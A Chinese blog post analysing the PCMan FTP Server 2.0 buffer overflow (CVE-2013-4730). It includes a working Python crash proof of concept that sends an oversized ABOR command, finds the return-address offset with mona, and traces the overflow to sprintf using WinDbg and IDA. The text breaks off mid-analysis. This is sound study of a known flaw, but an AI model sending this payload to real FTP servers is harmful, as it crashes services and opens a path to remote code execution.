PCMan FTP Server缓冲区溢出漏洞分析与利用

简要介绍

这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞
具体exp可以点这里
实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000

import socket as s
from sys import argv
#
if(len(argv) != 4):
    print "USAGE: %s host <user> <password>" % argv[0]
    exit(1)
else:
    #store command line arguments
    script,host,fuser,fpass=argv
    sploit = "A" * 2008    
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('ABOR '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close()

实验环境

WinXP sp3 中文版
PCMan FTP Server 2.0
immunity debugger
windbg
mona

漏洞分析

如果我们在xp运行作者的exp就会出现
"0x41414141"指令引用的"0x41414141"内存.该内存不能为"read"

我们分析可以从下面几个方面入手
1. 通过栈回溯,找到漏洞发生前的函数调用,借助ida分析即可(这个需要通过计算buffer距离返回地址的个数,使用适当的payload,不然会覆盖之前的函数调用)
2. 基于污点追踪的分析方法
3. 由于这是个ftp程序,会接收用户输入的命令及参数,应该会调用recv函数,我们可以在recv函数下断点,一步步看看到哪个函数崩溃了

基于栈回溯的分析方法

首先我们要定位返回地址
!mona pattern_create 2020
运行后我们看到了返回地址覆盖成了0x43386f43
!mona pattern_offset 0x43386f43
算到是2004,即2005 - 2008就是返回地址位置
那我们发2008个A过去吧
windbg附加,运行,发送payload,但还是看不到之前的函数调用

0:002> g
(f40.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=0000000c esi=0012edc4 edi=00000004
eip=41414141 esp=0012edb8 ebp=00aa17a0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???
0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012edb4 00000000 00000000 00000001 524f4241 0x41414141 

既然这样的话,我们就基于污点(其实通过od或者直接dd esp可以判断出来一些返回地址的)

基于污点追踪的分析方法

我们看看崩溃后的栈前后,前面的0x41应该是复制后的0x41,后面的0x41应该是用户端传过来保存在栈上的

0:000> dd esp -20
0012ed98  41414141 41414141 41414141 41414141
0012eda8  41414141 41414141 41414141 00000a0d
0012edb8  00000402 00000000 00000001 524f4241
0012edc8  41414120 41414141 41414141 41414141
0012edd8  41414141 41414141 41414141 41414141
0012ede8  41414141 41414141 41414141 41414141
0012edf8  41414141 41414141 41414141 41414141
0012ee08  41414141 41414141 41414141 41414141

那我们尝试在0012ed98 这个地址下写入断点,当然你在0012edb4之前有0x41的地址下都可以

0:000> ba w4 0012ed98 ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> bl
 0 e 0012ed98 w 4 0001 (0001)  0:****  ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> g
*** WARNING: Unable to verify checksum for E:\PCManFTP\PCManFTPD2.exe
*** ERROR: Module load completed but symbols could not be loaded for E:\PCManFTP\PCManFTPD2.exe
eax=00000041 ebx=00000018 ecx=0012e544 edx=0012ed9b esi=0012f589 edi=0012e518
eip=004173af esp=0012e2a4 ebp=0012e2a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
PCManFTPD2+0x173af:
004173af ff01            inc     dword ptr [ecx]      ds:0023:0012e544=0012ed9b

我们再看看汇编窗口,就是这条语句的复制的0x41
004173ad 8802 mov byte ptr [edx],al
用ida看看

 int __cdecl write_char(int a1, FILE *a2, int a3)
{
  bool v3; // sf@1
  int v4; // eax@2
  bool v5; // zf@4
  int result; // eax@4

  v3 = a2->_cnt-- - 1 < 0;
  if ( v3 )
  {
    v4 = _flsbuf(a1, a2);
  }
  else
  {
    *a2->_ptr++ = a1;                           // 这里复制0x41到栈上
    v4 = (unsigned __int8)a1;
  }
  ......
}

我们看看此时的栈

0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e2a4 00417428 00000041 0012e544 0012e518 PCManFTPD2+0x173af
0012e52c 00412ced 0012e544 004416f6 0012e594 PCManFTPD2+0x17428
0012e564 00403eeb 0012e5b0 004416d4 000007e1 PCManFTPD2+0x12ced
0012e568 0012e5b0 004416d4 000007e1 00000003 PCManFTPD2+0x3eeb
0012e56c 004416d4 000007e1 00000003 0000001a 0x12e5b0
0012e5b0 322f332f 325b2036 37313a30 3028205d PCManFTPD2+0x416d4

我们看到第一行返回地址00417428,通过ida看是在write_string函数内,再看看再上一层的返回地址00412ced,是在sprintf函数内(有种成功的预感),继续看上一层返回地址00403eeb,我们看看这个地址所在函数

struct CWinThread *__thiscall sub_403E60(_DWORD *this, _BYTE *a2)
{
  ......
  v2 = this;
  if ( dword_443540 || (result = (struct CWinThread *)dword_443548) != 0 )
  {
    GetLocalTime(&SystemTime);
    v4 = v2[9];
    
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值